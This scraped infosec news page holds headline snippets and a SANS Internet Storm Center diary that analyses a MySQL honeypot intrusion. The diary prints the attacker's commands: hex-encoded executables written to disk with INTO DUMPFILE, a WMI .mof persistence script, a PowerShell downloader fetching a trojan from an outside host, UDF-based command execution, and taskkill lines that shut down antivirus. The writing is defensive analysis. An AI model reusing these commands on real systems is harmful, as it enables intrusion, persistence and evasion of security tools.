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A Cheatsheet That Explains All Those Cyber-Espionage APT Names
Softpedia News
Cyber-espionage is one of the strangest trends in infosec today, because even if most people don't understand what's going on, who's attacking who, and why is it important, most people flock to these reports like to a Katty Perry concert. Making sense ...

 

(credit: modpr0be)

For more than a month, users of the remote login service TeamViewer have taken to Internet forums to report their computers have been ransacked by attackers who somehow gained access to their accounts. In many of the cases, the online burglars reportedly drained PayPal or bank accounts. No one outside of TeamViewer knows precisely how many accounts have been hacked, but there's no denying the breaches are widespread.

Over the past three days, both Reddit and Twitter have exploded with such reports, often with the unsupported claim that the intrusions are the result of a hack on TeamViewer's network. Late on Friday afternoon, an IBM security researcher became the latest to report a TeamViewer account takeover.

"In the middle of my gaming session, I lose control of my mouse and the TeamViewer window pops up in the bottom right corner of my screen," wrote Nick Bradley, a practice leader inside IBM's Threat Research Group. "As soon as I realize what is happening, I kill the application. Then it dawns on me: I have other machines running TeamViewer!"

Read 14 remaining paragraphs | Comments

 

GeekWire

'Mr. Robot' Preview: Predictions for an unpredictable season 2
GeekWire
The show is not only a great psychological thriller, with well-developed characters and an intriguing plot, but it's one of the first shows to really portray information security (infosec) and hacking accurately. Apparently, I'm not the only person to ...

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Gene Kim Q&A: DevOps transformation is not just for devs and unicorns
TechTarget
He found that organizations with the worst safety records typically shot messengers who told bad news, they kept information from each other, they discouraged novelty, and there was almost this culture of fear. Whereas at the highest performers, they ...

 
[Announce] CVE-2016-4437: Apache Shiro information disclosure vulnerability
 

TechWeekEurope UK

Visit TechWeekEurope At Infosec 2016 And Win An Apple Watch
TechWeekEurope UK
Not only will we bring you all the latest news from the show floor, we will also be speaking to some of the most famous names in cybersecurity and IT professionals. After all, cybersecurity isn't just one of the biggest issues in IT, but business as ...

 

The Register

The least stressful job in the US? Information security analyst
The Register
We wonder whether that love may have something to do with the fact that it currently has 7,631 job listings for information security analyst, whereas other jobs average around 1,000 openings (although if you want to be a truck driver, you're in luck ...

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Industry vs. industry on security
Politico
"The proliferation of sensitive content stored online, as well as the growing importance of cloud computing, is fueling the demand for more information security analysts,” the site wrote. “Job prospects and competitive pay make this new addition to the ...

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Infosecurity Magazine

Human Error to Blame as UK Data Breaches Soar
Infosecurity Magazine
“However, in our experience justice organizations are taking significant steps to overcome this problem and improve their information security – which can only be a positive moving forwards.” Also showing a big rise in the number of breach incidents ...

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Its The End of the World and We Know It

If you listen to the press - those purveyors of doom, those nattering nabobs of negativism - you arrive at a single, undeniable conclusion: The worldis going to hell in a hand-basket.

They tell us that weve become intolerant, selfish, and completely unconcerned with the welfare of our fellow man.

Im here today to deliver a counterpoint to all of that negativity. Ive come here to tell you that people are, essentially, GOOD.

You see: I am a database bubblehead.

Over the past few weeks, since Ive deployed an obviously flawed,horribly insecure, and utterly fictitious MySQL server, I have received a veritable flood of free assistance in administering that system - provided by strangers from across the Interwebz. They have - out of the very goodness of their hearts - taken over DBA duties. Ive only had to sit back and watch...

Carefully.

Very, very carefully...

A Free DBA - And Worth EVERY Penny

There are so many folks interested in the toil and drudgery of DBA duties on my honeypots MySQL server, it seems like theyre taking shifts. One will arrive, do a touch of DBA work and then leave eventually being replaced by another. The amount of database-related kindness in this world is, in some ways, almost overwhelming.

Lets take a look at what a typical shift for one of my remote DBAs looks like:

Arriving at the Office

My newest co-worker - our DBA du jour (who Ive chosen to call NoCostRemoteDBADude) - makes his first appearance at the office and immediately logs into the MySQL server as mysql with a blank password.

Note to self: Wow. Thats not very secure. I should probably fix that...

We all know how it is when youre the FNG you try your best to buckle down and get right to work you know: impress the boss. NoCostRemoteDBADude does just that:

show variables like %plugin%show variables like basedirshow variables like %plugin%show variables like %version_compile_machine%SHOW VARIABLES LIKE %basedir%

Here, NoCostRemoteDBADude is obviously just trying to get the lay of the land, so to speak, and I cant really say I blame him. After that whole, incredibly disappointing blank password thing, hes got to be wondering what kind of idiot has been running this box

I admit it: It was me, and I am a database bubblehead.

Have Toolz, Will Travel...

You cant expect quality DBA work if youre not willing to fork over cash for proper tools.

Unfortunately, my tool budget matches my expectation of quality: zero. If, therefore, youre planning to remote-DBA my honeypot, its strictly B.Y.O. as far as tools go. While some folks may balk at the idea of doing DBA work for free AND providing your own tools, oddly, Ive found no shortage of volunteers.

NoCostRemoteDBADude doesnt disappoint. He obviously has a preferred suite of tools that he wastes no time installing:

SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000004F5AC1B40B3BAFE70B3BAFE70B3BAFE7C834F2E7033BAFE76424A5E70A3BAFE78827A1E70A3BAFE76424ABE70F3BAFE73D1DA4E7093BAFE70B3BAEE7CE3BAFE73D1DABE7083BAFE7E324A4E70E3BAFE7CC3DA9E70A3BAFE7526963680B3BAFE70000000000000000504500004C0105006A4DD456000...00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 into DUMPFILE C:/windows/system32/ukGMx.exe

Obviously, NoCostRemoteDBADude is a fellow who knows his way around a MySQL database. Here, hes using a SQL SELECT statement to dump a whole bunch of binary data (expressed as a single, long hexadecimal number) into a file, creating a Windows executable.

Although I am, admittedly, a database bubblehead, I know a thing or two about Perl, so I threw together a few lines of code designed to take the text representation of NoCostDBADudes command and spit out a binary file. Heres what I found:

The file ukGMx.exe is a 36,864 byte long 32-bit Windows PE executable that, if run, immediately downloads hxxp://www.game918.me:2545/host.exe to the file C:\Windows\shes.exe and then launches that new executable. It also attempts some sort of weird self-deleting thing that, while it works, seems like overkill. Also, in looking over the executable, the old Win32 programmer in me is more than a little disappointed to see them using MFC42.dll. MFC was evil and bloaty from the outset, and it deserved to DIAF long ago. Seeing it included in exploit code is somewhat sad. I find myself longing for the good ol days of being blown away by the coding prowess of the attackers er um remote-DBAs.

Remember that I said if run in the above description. Right now, NoCostRemoteDBADude has only managed to create the file he hasnt managed to run anything. Yet.

Go Ahead And JustRun Your Code - Im Gonna Prancercize Mine

Lets see what else he has up his sleeve:

SELECT 0x23707261676D61206E616D65737061636528225C5C5C5C2E5C5C726F6F745C5C63696D763222290A636C617373204D79436C6173733634390A7B0A2020095B6B65795D20737472696E67204E616D653B0A7D3B0A636C617373204163746976655363726970744576656E74436F6E73756D6572203A205F5F4576656E74436F6E73756D65720A7B0A20095B6B65795D20737472696E67204E616D653B0A2020095B6E6F745F6E756C6C5D20737472696E6720536372697074696E67456E67696E653B0A202009737472696E672053637269707446696C654E616D653B0A2020095B74656D706C6174655D20737472696E67205363726...B0A2020436F6E73756D6572203D2024636F6E733B0A202046696C746572203D202446696C743B0A7D3B0A696E7374616E6365206F66205F5F46696C746572546F436F6E73756D657242696E64696E67206173202462696E64320A7B0A2020436F6E73756D6572203D2024636F6E73323B0A202046696C746572203D202446696C74323B0A7D3B0A696E7374616E6365206F66204D79436C61737336343920617320244D79436C6173730A7B0A20204E616D65203D2022436C617373436F6E73756D6572223B0A7D3B0A into DUMPFILE C:/windows/system32/wbem/mof/buiXDj.mof">
#pragma namespace(\\\\.\\root\\cimv2)class MyClass649{class ActiveScriptEventConsumer : __EventConsumer{instance of __Win32Provider as $P{    Name  = ActiveScriptEventConsumer    CLSID = {266c72e7-62e8-11d1-ad89-00c04fd8fdff}instance of __EventConsumerProviderRegistration{  ConsumerClassNames = {ActiveScriptEventConsumerInstance of ActiveScriptEventConsumer as $cons{  Name = ASEC  ScriptingEngine = JScript  ScriptText = \ntry {var s = new ActiveXObject(\Wscript.Shell\\ns.Run(\ukGMx.exe\\nsv = GetObject(\winmgmts:root\\\\cimv2\try {sv.Delete(\MyClass649\try {sv.Delete(\__EventFilter.Name=instfilt\try {sv.Delete(\ActiveScriptEventConsumer.Name=ASEC\Instance of ActiveScriptEventConsumer as $cons2{  Name = qndASEC  ScriptingEngine = JScript  ScriptText = \nvar objfs = new ActiveXObject(\Scripting.FileSystemObject\\ntry {var f1 = objfs.GetFile(\wbem\\\\mof\\\\good\\\\Mxmto.mof\\ntry {\nvar f2 = objfs.GetFile(\ukGMx.exe\\nvar s = GetObject(\winmgmts:root\\\\cimv2\s.Delete(\__EventFilter.Name=qndfilt\s.Delete(\ActiveScriptEventConsumer.Name=qndASEC\instance of __EventFilter as $Filt{  Name = instfilt  Query = SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \MyClass649\  QueryLanguage = WQLinstance of __EventFilter as $Filt2{  Name = qndfilt  Query = SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \Win32_Process\ AND TargetInstance.Name = \ukGMx.exe\  QueryLanguage = WQLinstance of __FilterToConsumerBinding as $bind{instance of __FilterToConsumerBinding as $bind2{instance of MyClass649 as $MyClass{  Name = ClassConsumer

For those unfamiliar with them, .mof files are a very interesting attack/persistence mechanism, and, under the right circumstances, dropping a file with the extension .mof into the C:\windows\system32\wbem\mof directory can make magical things happen. Managed Object Format (.mof) files can be used to change WMI settings or transfer WMI objects between computers.

Unfortunately, for an attacker, the text form of a .mof file is pretty much benign. In order for them to actually DO anything, they need to be compiled into binary form (which is normally done using the program mofcomp.exe). The cool thing about the C:\windows\system32\wbem\mof directory is that dropping a file into that directory on pre-Vista versions of Windows would result in them being automatically compiled If they successfully compile, theyre installed in C:\windows\system32\wbem\mof\good (and, in the event the compile fails, C:\windows\system32\wbem\mof\bad with a logfile of all actions taken by the compiler stored at C:\windows\system32\wbem\Logs\mofcomp.log) Files installed in this way run repeatedly - and in this case, the .mof file installs an event filter class (MyClass649) that triggers on:

  1. The instantiation of the class MyClass649 (yes it triggers upon its own creation)
  2. If a running version of ukGMx.exe ever exits

When the filter is triggered, it simply runs the program ukGMx.exe using Wscript.Shell. (FYI: Stuxnet used a very similar attack...)

Spray N Pray

Now all that is well and good if the MySQL server running on an older version of Windows (and if MySQL is running as a privileged user), but what happens if that isnt the case? Well, NoCostRemoteDBADude has a lot more bases covered:

SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000D80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009F755484DB143AD7DB143AD7DB143AD7580834D7D9143AD7DB143BD7F6143AD7181B67D7DC143AD7330B31D7DA143AD71C123CD7DA143AD7330B3ED7DA143AD752696368DB143AD700000000000000000000000000000000504500004C010300199C5F550000000000000000E0000E210B010600002...00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 into DUMPFILE C:/Program Files/lpk.dll

Again, we use some Perl magic to recover the binary of this file for examination:

The file lpk.dll is a 7,680 byte long 32-bit Windows DLL file that has been UPX compressed (uncompressed, it is 12,288 bytes long).

Not only does my NoCostRemoteDBADude drop lpk.dll in C:/Program Files but he drops the exact same file as:

  • C:/windows/lpk.dll
  • lpk.dll
  • C:/windows/system32/lpk.dll
  • C:/lpk.dll
  • D:/lpk.dll
  • %temp%/lpk.dll
  • %systemroot%/lpk.dll
  • ../../bin/lpk.dll
  • ../../lpk.dll
  • ../lpk.dll

NoCostRemoteDBADudes apparent fetish for littering my hard drive with DLLs actually has a reasonable explanation: hes attempting to exploit a DLL hijacking vulnerability.

The idea behind DLL hijacking is actually pretty simple. Windows has a search path for DLLs that works much in the same way that the $PATH environment variable works for finding executables. The default search path for DLLs works like this:

  1. The directory from which the application is run
  2. The current directory
  3. The system directory
  4. The 16-bit system directory
  5. The Windows directory
  6. The $PATH directories

Windows will look in each of those locations, in that order, until it finds the DLL its looking for. If, as an attacker, you can get a rogue/malicious DLL installed in front of the real DLL in that DLL search path, your DLL will be loaded instead of the real one, and run with the credentials of the application that is loading it.

By not specifying the full path to a system DLL, a program becomes vulnerable to this type of attack. I whipped together a tiny Win32 executable that used LoadLibrary() to well load the library (lpk.dll). Its also a perfect example for demonstrating DLL hijacking, because I stupidly used the command LoadLibrary(lpk.dll) rather than specifying a full system path. On a clean install of Windows, it wouldnt be a problem, but when I put NoCostRemoteDBADudes version of lpk.dll in the same directory as my program, it loaded the malicious version instead. Other programs vulnerable to lpk.dll hijacking? Several executables found in version 5.1 of MySQL.

I also used my vulnerable executable to investigate the behavior of the malicious DLL. When loaded, it provides all of the original functionality of the real lpk.dll with an interesting addition: it drops a 3,584 byte long 32-bit WIndows PE executable as %Temp%\hrl1.tmp (On Windows NT/2000/XP, %Temp% defaults to C:\Documents and Settings\[UserName]\Local Settings\Temp) and launches it.

This new gift from NoCostRemoteDBADude is actually a UPX compressed executable that, when uncompressed, weighs in at 24,576 bytes. The executable behaves very much like our friend ukGMx.exe from earlier (complete with the goofy self-delete functionality) but in addition to downloading hxxp://www.game918.me:2545/host.exe to C:\Windows\scvhost.exe and running it, it also downloads hxxp://www.82022333.cn:8065/im.exe to C:\Windows\fillworm.exe - before launching both programs and self-deleting.

A User-Defined Attack Vector

NoCostRemoteDBADudes next move as a DBA was firing off the following, now-familiar-looking, command:

SELECT 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000F2950208B6F46C5BB6F46C5BB6F46C5B9132175BB4F46C5B9132115BB7F46C5B9132025BB4F46C5B9132015BBBF46C5B75FB315BB5F46C5BB6F46D5B9AF46C5B91321D5BB7F46C5B9132165BB7F46C5B9132145BB7F46C5B52696368B6F46C5B0000000000000000504500004C0103004E10A34D000...000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 into DUMPFILE 1QyCNY.dll

This results in the creation of 1QyCNY.dll, a 6,144 byte-long UPX compressed Windows DLL. Interestingly, this file isnt seen as malicious by - essentially - any antimalware tool that doesnt get all wigged-out because a file is UPX compressed (seriously, AegisLabs, thats the best youve got? Its UPX compressed, therefore it must be EEEEEVIL!) The reason that is isnt seen as malicious by non-reactionary antimalware tools is because well it ISNT malicious. To understand why, we need to understand a little about MySQL UDFs (or, User Defined Functions).

In order to provide a mechanism for extensibility, MySQL allows for the addition of new functionality by loading User Defined Functions in shared libraries (.so files under Linux, and .dll files in Windows). If, for example, you had a pressing need to add new functionality to your SQL-based application say, to turn the sound volume to 11 and announce via speech synthesis, Hey everybody! Im lookin at porn... all whilst making the servers CD tray slide in and out - not that Ive ever DONE anything like that, mind you... You would simply create your function, compile it into a DLL (confession.dll) as an exported function (int porn_confession( )) along with a few other, necessary support functions, and then you can add the new function to MySQL like so:

CREATE FUNCTION porn_confession RETURNS INTEGER SONAME confession.dll

NoCostRemoteDBADudes 1QyCNY.dll file isnt seen as malicious because it is, essentially, a perfectly legitimate MySQL UDF library (or, if youre AegisLabs, its an unholy, UPX-packed spawn of Satan). Its simply a tool - a blunt instrument - that can be used for either good - or as well soon see - for evil.

What This Hack Needs Is More PowerShell

NoCostRemoteDBADude follows this with the creation of another file:

SELECT 0x24736F757263653D22687474703A2F2F7777772E67616D653931382E6D653A323534352F686F73742E657865220D0A2464657374696E6174696F6E3D22433A5C57696E646F77735C686F73742E657865220D0A247777773D4E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E740D0A247777772E446F776E6C6F616446696C652824736F757263652C202464657374696E6174696F6E290D0A496E766F6B652D45787072657373696F6E2822433A5C57696E646F77735C686F73742E6578652229 into DUMPFILE c:/windows/temp.ps1

This file turns out to look like this:

$source=http://www.game918.me:2545/host.exe$destination=C:\Windows\host.exe$www=New-Object System.Net.WebClient$www.DownloadFile($source, $destination)Invoke-Expression(C:\Windows\host.exe)

Yep, itCREATE FUNCTION sys_exec RETURNS string SONAME 1QyCNY.dllCREATE FUNCTION sys_eval RETURNS string SONAME 1QyCNY.dllselect sys_eval(taskkill /f /im 360safe.exetaskkill /f /im 360sd.exetaskkill /f /im 360rp.exetaskkill /f /im 360rps.exetaskkill /f /im 360tray.exetaskkill /f /im ZhuDongFangYu.exeexitselect sys_eval(taskkill /f /im SafeDogGuardCenter.exetaskkill /f /im SafeDogSiteIIS.exetaskkill /f /im SafeDogUpdateCenter.exetaskkill /f /im SafeDogServerUI.exetaskkill /f /im kxescore.exetaskkill /f /im kxetray.exeexitselect sys_eval(taskkill /f /im QQPCTray.exetaskkill /f /im QQPCRTP.exetaskkill /f /im QQPCMgr.exetaskkill /f /im kavsvc.exetaskkill /f /im alg.exetaskkill /f /im AVP.exeexitselect sys_eval(taskkill /f /im egui.exetaskkill /f /im ekrn.exetaskkill /f /im ccenter.exetaskkill /f /im rfwsrv.exetaskkill /f /im Ravmond.exetaskkill /f /im rsnetsvr.exetaskkill /f /im egui.exetaskkill /f /im MsMpEng.exetaskkill /f /im msseces.exeexitselect sys_exec(PowerShell.exe -ExecutionPolicy Unrestricted -NoProfile -windowstyle hidden -File c:\\windows\\temp.ps1

Here we see NoCostRemoteDBADude create two new MySQL UDFs using 1QyCNY.dll: sys_exec( ) and sys_eval( ). He then uses these new functions to whack various antimalware tasks, and then launches PowerShell to run the script he just created.

...And Then Everyone In The Universe Died. - Game Of Thrones, Book XXI

So, the end-game for NoCostRemoteDBADude is to get host.exe downloaded from www.game918.me and running on our system (he also wanted to download something from www.82022333.cn, but that site is currently kaput...). Lets take a look at that file, shall we?

The file host.exe is, essentially, a 102,400 byte-long 32-bit Windows PE remote control trojan with the capability to both download and install or run pretty much anything that NoCostRemoteDBADude wants put on the box. Obviously, this is how he intends to do his DBA work.

In addition to its run-of-the-mill remote administration capabilities, host.exe also has another nifty capability. Buried deep in the bowels of the programs data is an interesting list of 180 IP addresses. I cut the list out of the file and did a little reconnaissance. What I found was very interesting: Every one of the IPs is a DNS server - moreover, every one acts as a recursive resolver. I can think of only one reason that NoCostRemoteDBADude would have uploaded an executable primed with an expansive list of recursive resolvers: DNS Amplification DDoS.

The classic example of an amplification attack harkens back to the 90s when you used to be able to send an ICMP echo request from a spoofed IP to the broadcast address of a netblock. Back in that more-nave time, the router would see an inbound packet destined for the broadcast address and dutifully forward it to every IP address in the block, resulting in a wave of ICMP echo responses being sent back to the spoofed IP address. For reasons Ive been unable to figure out, this was known as a SMURF attack, and demonstrates the two requirements of a good amplification attack:

  1. The traffic that initiates the response is sent over a connection-less protocol (in this case, ICMP) and is, therefore, easily spoofed.
  2. The response elicited is significantly larger than the traffic that initiates it.

SMURF attacks have - happily - been relegated to the same dustbin o history as other 90s stuff wed like to forget (Vanilla Ice, slap bracelets, and - oh, dear Lord - parachute pants) but that doesnt mean amplification attacks are gone.

DNS fits both of our amplification criteria very well: requests are sent over a connection-less protocol (UDP) and you can get a pretty good amplification if you make the right request. All you need is a bunch of friendly DNS servers that will allow anyone and everyone to make requests...

Alrighty Then...

NoCostRemoteDBADude had a few more tricks up his sleeve. He tried several different types and versions of UDFs, and attempted to create new MySQL accounts, but this overview covers his most interesting techniques. I found this to be a fascinating attack simply because of the broad range of tricks of the trade in use: DLL hijacking, .mof files, MySQL UDFs, PowerShell, AV disabling, and DNS amplification its a pretty broad swath of attacker techniques.

Also, this is a perfect example of why AV vendors and others who tout malware removal methods are not doing anyone a favor. Once any of these executable are running on my server, the whole concept of cleanup becomes untenable because I cant have any idea about what other toyz ol NoCost may have installed.

Well, at least until my server starts yelling Hey everybody, Im watchin porn!...

Tom Liston
Consultant - Cyber Network Defense
DarkMatter, LLC
Follow Me On Twitter: @tliston
If you enjoyed this post, you can see more like it on my personal blog:http://yourflyisopen.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

 

SEC names Christopher Hetner as Senior Advisor to the Chair for Cybersecurity Policy
Automated Trader
Mr. Hetner has more than 20 years in information security and technology. He joined the SEC from Ernst and Young (EY) where, from November 2012 to January 2015, he led the Wealth and Asset Management Sector Cybersecurity practice. At EY, his team ...

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Internet Storm Center Infocon Status